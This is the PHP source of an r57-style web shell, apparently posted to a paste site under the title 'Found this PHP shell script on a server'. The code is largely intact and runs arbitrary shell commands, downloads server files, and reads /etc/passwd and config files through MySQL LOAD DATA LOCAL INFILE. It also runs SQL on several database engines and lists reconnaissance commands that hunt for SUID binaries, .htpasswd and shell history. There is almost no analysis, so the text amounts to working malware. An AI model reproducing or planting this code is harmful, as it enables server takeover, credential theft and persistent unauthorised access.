· 9 years ago · Mar 11, 2017, 05:20 PM
1---------------------------------------
2Found this PHP shell script on a server
3---------------------------------------
4
5<?php
6
7error_reporting(0);
8set_magic_quotes_runtime(0);
9@set_time_limit(0);
10@ini_set('max_execution_time',0);
11@ini_set('output_buffering',1);
12@ini_set('register_globals','1');
13$safe_mode = @ini_get('safe_mode');
14$version = "1.35";
15if(version_compare(phpversion(), '4.1.0') == -1)
16 {
17 $_POST = &$HTTP_POST_VARS;
18 $_GET = &$HTTP_GET_VARS;
19 $_SERVER = &$HTTP_SERVER_VARS;
20 }
21if (@get_magic_quotes_gpc())
22 {
23 foreach ($_POST as $k=>$v)
24 {
25 $_POST[$k] = stripslashes($v);
26 }
27 foreach ($_SERVER as $k=>$v)
28 {
29 $_SERVER[$k] = stripslashes($v);
30 }
31 }
32
33$head = '<!-- M0d3d by Cyb3rPh03niX -->
34<html>
35<head>
36<title>M0d3d by Cyb3rPh03niX</title>
37<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
38
39<STYLE>
40tr {
41BORDER-RIGHT: #aaaaaa 1px solid;
42BORDER-TOP: #eeeeee 1px solid;
43BORDER-LEFT: #eeeeee 1px solid;
44BORDER-BOTTOM: #aaaaaa 1px solid;
45BORDER-COLOR: #333333;
46color: #ffffff;
47}
48td {
49BORDER-RIGHT: #aaaaaa 1px solid;
50BORDER-TOP: #eeeeee 1px solid;
51BORDER-LEFT: #eeeeee 1px solid;
52BORDER-BOTTOM: #aaaaaa 1px solid;
53BORDER-COLOR: #333333;
54color: #ffffff;
55}
56.table1 {
57BORDER: 0px;
58BORDER-COLOR: #333333;
59BACKGROUND-COLOR: #000000;
60color: #ffffff;
61}
62.td1 {
63BORDER: 0px;
64BORDER-COLOR: #333333;
65font: 7pt Verdana;
66color: #ffffff;
67}
68.tr1 {
69BORDER: 0px;
70BORDER-COLOR: #333333;
71color: #ffffff;
72}
73table {
74BORDER: #eeeeee 1px outset;
75BORDER-COLOR: #333333;
76BACKGROUND-COLOR: #000000;
77color: #ffffff;
78}
79input {
80border : solid 1px;
81border-color : #2D2D2D #252525 #252525 #252525;
82BACKGROUND-COLOR: #000000;
83font: 8pt Verdana;
84color: #ffffff;
85}
86select {
87BORDER-RIGHT: #ffffff 1px solid;
88BORDER-TOP: #999999 1px solid;
89BORDER-LEFT: #999999 1px solid;
90BORDER-BOTTOM: #ffffff 1px solid;
91BORDER-COLOR: #333333;
92BACKGROUND-COLOR: #000000;
93font: 8pt Verdana;
94color: #ffffff;;
95}
96submit {
97BORDER: buttonhighlight 2px outset;
98BACKGROUND-COLOR: #000000;
99width: 30%;
100color: #ffffff;
101}
102textarea {
103BORDER-RIGHT: #ffffff 1px solid;
104BORDER-TOP: #999999 1px solid;
105BORDER-LEFT: #999999 1px solid;
106BORDER-BOTTOM: #ffffff 1px solid;
107BORDER-COLOR: #333333;
108BACKGROUND-COLOR: #000000;
109font: Fixedsys bold;
110color: #ffffff;
111}
112BODY {
113SCROLLBAR-ARROW-COLOR: #ffffff;
114SCROLLBAR-BASE-COLOR: #000000;
115margin: 1px;
116color: #ffffff;
117background-color: #000000;
118}
119.main {
120margin : -287px 0px 0px -490px;
121border : #000000 solid 1px;
122BORDER-COLOR: #333333;
123}
124.tt {
125background-color: #252525;
126}
127A:link {COLOR:red; TEXT-DECORATION: none}
128A:visited { COLOR:red; TEXT-DECORATION: none}
129A:active {COLOR:red; TEXT-DECORATION: none}
130A:hover {color:blue;TEXT-DECORATION: none}
131
132</STYLE>
133<script language=\'javascript\'>
134function hide_div(id)
135{
136 document.getElementById(id).style.display = \'none\';
137 document.cookie=id+\'=0;\';
138}
139function show_div(id)
140{
141 document.getElementById(id).style.display = \'block\';
142 document.cookie=id+\'=1;\';
143}
144function change_divst(id)
145{
146 if (document.getElementById(id).style.display == \'none\')
147 show_div(id);
148 else
149 hide_div(id);
150}
151</script>
152';
153class zipfile
154{
155 var $datasec = array();
156 var $ctrl_dir = array();
157 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
158 var $old_offset = 0;
159 function unix2DosTime($unixtime = 0) {
160 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
161 if ($timearray['year'] < 1980) {
162 $timearray['year'] = 1980;
163 $timearray['mon'] = 1;
164 $timearray['mday'] = 1;
165 $timearray['hours'] = 0;
166 $timearray['minutes'] = 0;
167 $timearray['seconds'] = 0;
168 }
169 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
170 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
171 }
172 function addFile($data, $name, $time = 0)
173 {
174 $name = str_replace('\\', '/', $name);
175 $dtime = dechex($this->unix2DosTime($time));
176 $hexdtime = '\x' . $dtime[6] . $dtime[7]
177 . '\x' . $dtime[4] . $dtime[5]
178 . '\x' . $dtime[2] . $dtime[3]
179 . '\x' . $dtime[0] . $dtime[1];
180 eval('$hexdtime = "' . $hexdtime . '";');
181 $fr = "\x50\x4b\x03\x04";
182 $fr .= "\x14\x00";
183 $fr .= "\x00\x00";
184 $fr .= "\x08\x00";
185 $fr .= $hexdtime;
186 $unc_len = strlen($data);
187 $crc = crc32($data);
188 $zdata = gzcompress($data);
189 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
190 $c_len = strlen($zdata);
191 $fr .= pack('V', $crc);
192 $fr .= pack('V', $c_len);
193 $fr .= pack('V', $unc_len);
194 $fr .= pack('v', strlen($name));
195 $fr .= pack('v', 0);
196 $fr .= $name;
197 $fr .= $zdata;
198 $this -> datasec[] = $fr;
199 $cdrec = "\x50\x4b\x01\x02";
200 $cdrec .= "\x00\x00";
201 $cdrec .= "\x14\x00";
202 $cdrec .= "\x00\x00";
203 $cdrec .= "\x08\x00";
204 $cdrec .= $hexdtime;
205 $cdrec .= pack('V', $crc);
206 $cdrec .= pack('V', $c_len);
207 $cdrec .= pack('V', $unc_len);
208 $cdrec .= pack('v', strlen($name) );
209 $cdrec .= pack('v', 0 );
210 $cdrec .= pack('v', 0 );
211 $cdrec .= pack('v', 0 );
212 $cdrec .= pack('v', 0 );
213 $cdrec .= pack('V', 32 );
214 $cdrec .= pack('V', $this -> old_offset );
215 $this -> old_offset += strlen($fr);
216 $cdrec .= $name;
217 $this -> ctrl_dir[] = $cdrec;
218 }
219 function file()
220 {
221 $data = implode('', $this -> datasec);
222 $ctrldir = implode('', $this -> ctrl_dir);
223 return
224 $data .
225 $ctrldir .
226 $this -> eof_ctrl_dir .
227 pack('v', sizeof($this -> ctrl_dir)) .
228 pack('v', sizeof($this -> ctrl_dir)) .
229 pack('V', strlen($ctrldir)) .
230 pack('V', strlen($data)) .
231 "\x00\x00";
232 }
233}
234function compress(&$filename,&$filedump,$compress)
235 {
236 global $content_encoding;
237 global $mime_type;
238 if ($compress == 'bzip' && @function_exists('bzcompress'))
239 {
240 $filename .= '.bz2';
241 $mime_type = 'application/x-bzip2';
242 $filedump = bzcompress($filedump);
243 }
244 else if ($compress == 'gzip' && @function_exists('gzencode'))
245 {
246 $filename .= '.gz';
247 $content_encoding = 'x-gzip';
248 $mime_type = 'application/x-gzip';
249 $filedump = gzencode($filedump);
250 }
251 else if ($compress == 'zip' && @function_exists('gzcompress'))
252 {
253 $filename .= '.zip';
254 $mime_type = 'application/zip';
255 $zipfile = new zipfile();
256 $zipfile -> addFile($filedump, substr($filename, 0, -4));
257 $filedump = $zipfile -> file();
258 }
259 else
260 {
261 $mime_type = 'application/octet-stream';
262 }
263 }
264function mailattach($to,$from,$subj,$attach)
265 {
266 $headers = "From: $from\r\n";
267 $headers .= "MIME-Version: 1.0\r\n";
268 $headers .= "Content-Type: ".$attach['type'];
269 $headers .= "; name=\"".$attach['name']."\"\r\n";
270 $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
271 $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
272 if(@mail($to,$subj,"",$headers)) { return 1; }
273 return 0;
274 }
275if(isset($_GET['img'])&&!empty($_GET['img']))
276 {
277 $images = array();
278 $images[1]='1';
279 $images[2]='2';
280 @ob_clean();
281 header("Content-type: image/gif");
282 echo base64_decode($images[$_GET['img']]);
283 die();
284 }
285if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
286 {
287 if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; }
288 else
289 {
290 @ob_clean();
291 $filename = @basename($_POST['d_name']);
292 $filedump = @fread($file,@filesize($_POST['d_name']));
293 fclose($file);
294 $content_encoding=$mime_type='';
295 compress($filename,$filedump,$_POST['compress']);
296 if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
297 header("Content-type: ".$mime_type);
298 header("Content-disposition: attachment; filename=\"".$filename."\";");
299 echo $filedump;
300 exit();
301 }
302 }
303if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
304if ($_POST['cmd']=="db_query")
305 {
306 echo $head;
307 switch($_POST['db'])
308 {
309 case 'MySQL':
310 if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
311 $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
312if($db)
313 {
314 if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db);
315 $mdb=$_POST['mysql_db'];
316 }
317
318$mysql_files_str="/var/cpanel/accounting.log:/etc/passwd:/etc/httpd/conf/httpd.conf:/etc/proftpd.conf:/etc/hosts";
319$mysql_files = explode(':', $mysql_files_str);
320
321
322?>
323 <script>
324 var files = new Array();
325 <? for($i=0;count($mysql_files)>$i;$i++) { ?>
326 files[files.length] = "<?=$mysql_files[$i]?>";
327 <? } ?>
328 function setFile(bla) {
329 for (var i=0;i < files.length;i++) {
330 if (files[i]==bla.value) {
331 document.mysqlload.files.value = files[i];
332 }
333 }
334 }
335 </script>
336<TABLE width=100% border=1><tr>
337 <td width=100% bgcolor=#252525><font face=tahoma size=-2 color=#006633><b>Local Via MySQL by hCeGrOuP.NET ^($)^</b></font></td></tr>
338 <tr align=center><td width=100% align=center>
339 <form name="mysqlload" method="POST">
340 <?php
341echo in('hidden','db',0,$_POST['db']).in('hidden','db_port',0,$_POST['db_port']).in('hidden','mysql_l',0,$_POST['mysql_l']).in('hidden','mysql_p',0,$_POST['mysql_p']).in('hidden','mysql_db',0,$_POST['mysql_db']).in('hidden','cmd',0,'db_query');
342 ?>
343 <select name="deffile" onChange="setFile(this)">
344 <? for ($i=0;count($mysql_files)>$i;$i++) { ?>
345 <option value="<?=$mysql_files[$i]?>"<? if ($file==$mysql_files[$i]) { echo "selected"; } ?>><?
346 $bla = explode('/', $mysql_files[$i]);
347 $p = count($bla)-1;
348 echo $bla[$p];
349 ?></option>
350 <? } ?>
351 </select>
352 <input type="text" name="files" value="<?=$_POST['files']?>" size=80>
353 <input type="submit" name="go" value="View"> <font size=2>
354 </td>
355 <?
356if (!$_POST['files']) { $files = "/var/cpanel/accounting.log"; } else $files=$_POST['files'];
357 $sql = array ('use '.$mdb,'CREATE TEMPORARY TABLE ' . ($tbl = 'R'.time()) . ' (a LONGBLOB)',
358
359 "LOAD DATA LOCAL INFILE '$files' INTO TABLE $tbl FIELDS "
360 . "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
361 . "ESCAPED BY '' "
362 . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
363
364 "SELECT a FROM $tbl LIMIT 1"
365 );
366
367 foreach ($sql as $statement) {
368 $q = mysql_query ($statement);
369
370 if ($q == false) {
371 echo "<tr><td width=100%><font face=tahoma size=-2><b> <b><font face=tahoma size=-2 color=red>FAILED:</font> " . $statement . "\n"." </td></tr>";
372 echo "<tr><td width=100%><font face=tahoma size=-2><b> <b><font face=tahoma size=-2 color=red>REASON:</font>" . mysql_error () . "\n"." </b></font></td></tr></TABLE>";
373 }
374 if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
375
376 echo "<table border=100%><td align=center width=100% bgcolor=#252525><font face=tahoma size=-2><b>File :".$files."</a></font></td><tr><td width=100%>".htmlspecialchars($r[0])."</td></table>";
377 }
378
379$querys = @explode(';',$_POST['db_query']);
380 foreach($querys as $num=>$query)
381 {
382 if(strlen($query)>5){
383 echo "<font face=tahoma size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
384 $res = @mysql_query($query,$db);
385 $error = @mysql_error($db);
386 if($error) { echo "<table width=100%><tr><td align=left><font face=tahoma size=-2>Error : <b>".$error."</b></font></td></tr></table>"; }
387 else {
388 if (@mysql_num_rows($res) > 0)
389 {
390 $sql2 = $sql = $keys = $values = '';
391 while (($row = @mysql_fetch_assoc($res)))
392 {
393 $keys = @implode(" </b></font></td><td align=left bgcolor=#252525><font face=tahoma size=-2><b> ", @array_keys($row));
394 $values = @array_values($row);
395 foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
396 $values = @implode(" </font></td><td align=left><font face=tahoma size=-2> ",$values);
397 $sql2 .= "<tr><td align=left><font face=tahoma size=-2> ".$values." </font></td></tr>";
398 }
399 echo "<table width=100%>";
400 $sql = "<tr><td align=left bgcolor=#252525><font face=tahoma size=-2><b> ".$keys." </b></font></td></tr>";
401 $sql .= $sql2;
402 echo $sql;
403 echo "</table>";
404 }
405 else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td align=left><font face=tahoma size=-2>affected rows : <b>".$rows."</b></font></td></tr></table>"; } }
406 }
407 @mysql_free_result($res);
408 }
409 }
410 @mysql_close($db);
411 }
412 else echo "<div align=center><font face=tahoma size=-2 color=red><b>Can't connect to MySQL server</b></font></div>";
413 break;
414 case 'MSSQL':
415 if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
416 $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
417 if($db)
418 {
419 if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }
420 $querys = @explode(';',$_POST['db_query']);
421 foreach($querys as $num=>$query)
422 {
423 if(strlen($query)>5){
424 echo "<font face=tahoma size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
425 $res = @mssql_query($query,$db);
426 if (@mssql_num_rows($res) > 0)
427 {
428 $sql2 = $sql = $keys = $values = '';
429 while (($row = @mssql_fetch_assoc($res)))
430 {
431 $keys = @implode(" </b></font></td><td bgcolor=#252525><font face=tahoma size=-2><b> ", @array_keys($row));
432 $values = @array_values($row);
433 foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
434 $values = @implode(" </font></td><td><font face=tahoma size=-2> ",$values);
435 $sql2 .= "<tr><td><font face=tahoma size=-2> ".$values." </font></td></tr>";
436 }
437 echo "<table width=100%>";
438 $sql = "<tr><td bgcolor=#252525><font face=tahoma size=-2><b> ".$keys." </b></font></td></tr>";
439 $sql .= $sql2;
440 echo $sql;
441 echo "</table><br>";
442 }
443 else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=tahoma size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=tahoma size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }}
444 @mssql_free_result($res);
445 }
446 }
447 @mssql_close($db);
448 }
449 else echo "<div align=center><font face=tahoma size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>";
450 break;
451 case 'PostgreSQL':
452 if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
453 $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
454 $db = @pg_connect($str);
455 if($db)
456 {
457 $querys = @explode(';',$_POST['db_query']);
458 foreach($querys as $num=>$query)
459 {
460 if(strlen($query)>5){
461 echo "<font face=tahoma size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
462 $res = @pg_query($db,$query);
463 $error = @pg_errormessage($db);
464 if($error) { echo "<table width=100%><tr><td><font face=tahoma size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }
465 else {
466 if (@pg_num_rows($res) > 0)
467 {
468 $sql2 = $sql = $keys = $values = '';
469 while (($row = @pg_fetch_assoc($res)))
470 {
471 $keys = @implode(" </b></font></td><td bgcolor=#252525><font face=tahoma size=-2><b> ", @array_keys($row));
472 $values = @array_values($row);
473 foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
474 $values = @implode(" </font></td><td><font face=tahoma size=-2> ",$values);
475 $sql2 .= "<tr><td><font face=tahoma size=-2> ".$values." </font></td></tr>";
476 }
477 echo "<table width=100%>";
478 $sql = "<tr><td bgcolor=#252525><font face=tahoma size=-2><b> ".$keys." </b></font></td></tr>";
479 $sql .= $sql2;
480 echo $sql;
481 echo "</table><br>";
482 }
483 else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=tahoma size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } }
484 }
485 @pg_free_result($res);
486 }
487 }
488 @pg_close($db);
489 }
490 else echo "<div align=center><font face=tahoma size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>";
491 break;
492 case 'Oracle':
493 $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']);
494 if(($error = @ocierror())) { echo "<div align=center><font face=tahoma size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; }
495 else
496 {
497 $querys = @explode(';',$_POST['db_query']);
498 foreach($querys as $num=>$query)
499 {
500 if(strlen($query)>5) {
501 echo "<font face=tahoma size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
502 $stat = @ociparse($db, $query);
503 @ociexecute($stat);
504 if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=tahoma size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; }
505 else
506 {
507 $rowcount = @ocirowcount($stat);
508 if($rowcount != 0) {echo "<table width=100%><tr><td><font face=tahoma size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";}
509 else {
510 echo "<table width=100%><tr>";
511 for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#252525><font face=tahoma size=-2><b> ".htmlspecialchars(@ocicolumnname($stat, $j))." </b></font></td>"; }
512 echo "</tr>";
513 while(ocifetch($stat))
514 {
515 echo "<tr>";
516 for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=tahoma size=-2> ".htmlspecialchars(@ociresult($stat, $j))." </font></td>"; }
517 echo "</tr>";
518 }
519 echo "</table><br>";
520 }
521 @ocifreestatement($stat);
522 }
523 }
524 }
525 @ocilogoff($db);
526 }
527 break;
528 }
529 echo "<form name=form method=POST>";
530 echo in('hidden','db',0,$_POST['db']);
531 echo in('hidden','db_port',0,$_POST['db_port']);
532 echo in('hidden','mysql_l',0,$_POST['mysql_l']);
533 echo in('hidden','mysql_p',0,$_POST['mysql_p']);
534 echo in('hidden','mysql_db',0,$_POST['mysql_db']);
535 echo in('hidden','cmd',0,'db_query');
536 echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
537 echo "</form>";
538 echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
539 }
540if(isset($_GET['delete']))
541 {
542 @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
543 }
544if(isset($_GET['tmp']))
545 {
546 @unlink("/tmp/bdpl");
547 @unlink("/tmp/back");
548 @unlink("/tmp/bd");
549 @unlink("/tmp/bd.c");
550 @unlink("/tmp/dp");
551 @unlink("/tmp/dpc");
552 @unlink("/tmp/dpc.c");
553 }
554if(isset($_GET['phpini']))
555{
556echo $head;
557function U_value($value)
558 {
559 if ($value == '') return '<i>no value</i>';
560 if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
561 if ($value === null) return 'NULL';
562 if (@is_object($value)) $value = (array) $value;
563 if (@is_array($value))
564 {
565 @ob_start();
566 print_r($value);
567 $value = @ob_get_contents();
568 @ob_end_clean();
569 }
570 return U_wordwrap((string) $value);
571 }
572function U_wordwrap($str)
573 {
574 $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
575 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
576 }
577if (@function_exists('ini_get_all'))
578 {
579 $r = '';
580 echo '<table width=100%>', '<tr><td bgcolor=#252525><font face=tahoma size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#252525><font face=tahoma size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#252525><font face=tahoma size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
581 foreach (@ini_get_all() as $key=>$value)
582 {
583 $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.$key.'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
584 }
585 echo $r;
586 echo '</table>';
587 }
588echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
589die();
590}
591if(isset($_GET['cpu']))
592 {
593 echo $head;
594 echo '<table width=100%><tr><td bgcolor=#252525><div align=center><font face=tahoma size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
595 $cpuf = @file("cpuinfo");
596 if($cpuf)
597 {
598 $c = @sizeof($cpuf);
599 for($i=0;$i<$c;$i++)
600 {
601 $info = @explode(":",$cpuf[$i]);
602 if($info[1]==""){ $info[1]="---"; }
603 $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
604 }
605 echo $r;
606 }
607 else
608 {
609 echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b> --- </b></font></div></td></tr>';
610 }
611 echo '</table>';
612 echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
613 die();
614 }
615if(isset($_GET['mem']))
616 {
617 echo $head;
618 echo '<table width=100%><tr><td bgcolor=#252525><div align=center><font face=tahoma size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
619 $memf = @file("meminfo");
620 if($memf)
621 {
622 $c = sizeof($memf);
623 for($i=0;$i<$c;$i++)
624 {
625 $info = explode(":",$memf[$i]);
626 if($info[1]==""){ $info[1]="---"; }
627 $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
628 }
629 echo $r;
630 }
631 else
632 {
633 echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b> --- </b></font></div></td></tr>';
634 }
635 echo '</table>';
636 echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
637 die();
638 }
639$aliases=array(
640'find suid files'=>'find / -type f -perm -04000 -ls',
641'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
642'find sgid files'=>'find / -type f -perm -02000 -ls',
643'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
644'find config.inc.php files'=>'find / -type f -name config.inc.php',
645'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
646'find config* files'=>'find / -type f -name "config*"',
647'find config* files in current dir'=>'find . -type f -name "config*"',
648'find all writable files'=>'find / -type f -perm -2 -ls',
649'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
650'find all writable directories'=>'find / -type d -perm -2 -ls',
651'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
652'find all writable directories and files'=>'find / -perm -2 -ls',
653'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
654'find all service.pwd files'=>'find / -type f -name service.pwd',
655'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
656'find all .htpasswd files'=>'find / -type f -name .htpasswd',
657'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
658'find all .bash_history files'=>'find / -type f -name .bash_history',
659'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
660'find all .mysql_history files'=>'find / -type f -name .mysql_history',
661'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
662'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
663'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
664'list file attributes on a Linux second extended file system'=>'lsattr -va',
665'show opened ports'=>'netstat -an | grep -i listen',
666'----------------------------------------------------------------------------------------------------'=>'ls -la'
667);
668$table_up1 = "<tr><td align=center bgcolor=#252525><font face=tahoma size=-2><b><div align=center>:: ";
669$table_up2 = " ::</div></b></font></td></tr><tr><td>";
670$table_up3 = "<table align=center width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td align=center bgcolor=#252525>";
671$table_end1 = "</td></tr>";
672$arrow = " <font face=Wingdings color=gray>?</font>";
673$lb = "<font color=black>[</font>";
674$rb = "<font color=black>]</font>";
675$font = "<font face=tahoma size=-2>";
676$ts = "<table align=center class=table1 width=100% align=center>";
677$te = "</table>";
678$fs = "<form name=form method=POST>";
679$fe = "</form>";
680
681if(isset($_GET['users']))
682 {
683 if(!$users=get_users()) { echo "<center><font face=tahoma size=-2 color=red>Can\'t get users list</font></center>"; }
684 else
685 {
686 echo '<center>';
687 foreach($users as $user) { echo $user."<br>"; }
688 echo '</center>';
689 }
690 echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
691 }
692
693if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
694$dir = @getcwd();
695$windows = 0;
696$unix = 0;
697if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1;
698if(empty($dir))
699 {
700 $os = getenv('OS');
701 if(empty($os)){ $os = php_uname(); }
702 if(empty($os)){ $os ="-"; $unix=1; }
703 else
704 {
705 if(@eregi("^win",$os)) { $windows = 1; }
706 else { $unix = 1; }
707 }
708 }
709if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
710 {
711 echo $head;
712 if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
713 else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
714 $sr->SearchText(0,0);
715 $res = $sr->GetResultFiles();
716 $found = $sr->GetMatchesCount();
717 $titles = $sr->GetTitles();
718 $r = "";
719 if($found > 0)
720 {
721 $r .= "<TABLE width=100%>";
722 foreach($res as $file=>$v)
723 {
724 $r .= "<TR>";
725 $r .= "<TD colspan=2><font face=tahoma size=-2><b>".ws(3);
726 $r .= ($windows)? str_replace("/","\\",$file) : $file;
727 $r .= "</b></font></ TD>";
728 $r .= "</TR>";
729 foreach($v as $a=>$b)
730 {
731 $r .= "<TR>";
732 $r .= "<TD align=center><B><font face=tahoma size=-2>".$a."</font></B></TD>";
733 $r .= "<TD><font face=tahoma size=-2>".ws(2).$b."</font></TD>";
734 $r .= "</TR>\n";
735 }
736 }
737 $r .= "</TABLE>";
738 echo $r;
739 }
740 else
741 {
742 echo "<P align=center><B><font face=tahoma size=-2>Nothing :(</B></font></P>";
743 }
744 echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
745 die();
746 }
747if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
748$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
749if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
750function ws($i)
751{
752return @str_repeat(" ",$i);
753}
754function ex($cfe)
755{
756 $res = '';
757 if (!empty($cfe))
758 {
759 if(function_exists('exec'))
760 {
761 @exec($cfe,$res);
762 $res = join("\n",$res);
763 }
764 elseif(function_exists('shell_exec'))
765 {
766 $res = @shell_exec($cfe);
767 }
768 elseif(function_exists('system'))
769 {
770 @ob_start();
771 @system($cfe);
772 $res = @ob_get_contents();
773 @ob_end_clean();
774 }
775 elseif(function_exists('passthru'))
776 {
777 @ob_start();
778 @passthru($cfe);
779 $res = @ob_get_contents();
780 @ob_end_clean();
781 }
782 elseif(@is_resource($f = @popen($cfe,"r")))
783 {
784 $res = "";
785 while(!@feof($f)) { $res .= @fread($f,1024); }
786 @pclose($f);
787 }
788 }
789 return $res;
790}
791function get_users()
792{
793 $users = array();
794 $rows=file('/etc/passwd');
795 if(!$rows) return 0;
796 foreach ($rows as $string)
797 {
798 $user = @explode(":",$string);
799 if(substr($string,0,1)!='#') array_push($users,$user[0]);
800 }
801 return $users;
802}
803function we($i)
804{
805if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; }
806else { $text = "[-] ERROR! Can't write in file "; }
